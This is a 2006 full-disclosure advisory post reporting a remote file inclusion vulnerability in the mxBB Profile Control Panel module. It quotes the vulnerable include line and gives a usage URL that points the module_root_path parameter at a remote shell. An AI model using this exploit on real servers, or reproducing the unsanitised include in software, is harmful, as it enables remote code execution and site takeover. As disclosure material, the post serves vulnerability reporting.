Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[Full-disclosure] DadaIMC default configuration vulnerability

AnnonceScriptHP V2.0  Multiple Vulnerabilities

Messageriescripthp V2.0    XSS & SQL Injection

ProNews V1.5   XSS & SQL Injection

From:	bd0rk_(at)_hackermail.com <bd0rk_(at)_hackermail.com>
Date:	10.12.2006
Subject:	mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability

###############################################################################
##                                                                           ##
## mxBB Module Profile Control Panel 0.91c Remote File Include Vulnerability ##
##                                                                           ##
## Bugfound3R: bd0rk || SOH-Crew                                             ##
##                                                                           ##
## Website: www.soh-crew.it.tt                                               ##
##                                                                           ##
## Greetz: str0ke, Lu7k, TheJT, Natok                                        ##
##                                                                           ##
###############################################################################

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_i
d=70

==> Vulnerable Code in profilcp_constants.php <==

Code: include_once($module_root_path . 'includes/lang_extend_mac.'.$phpEx);

Usage: http://[y0uRSiTe]/[direct0ry]/includes/profilcp_constants.
php?module_root_path=http://Sh3LL?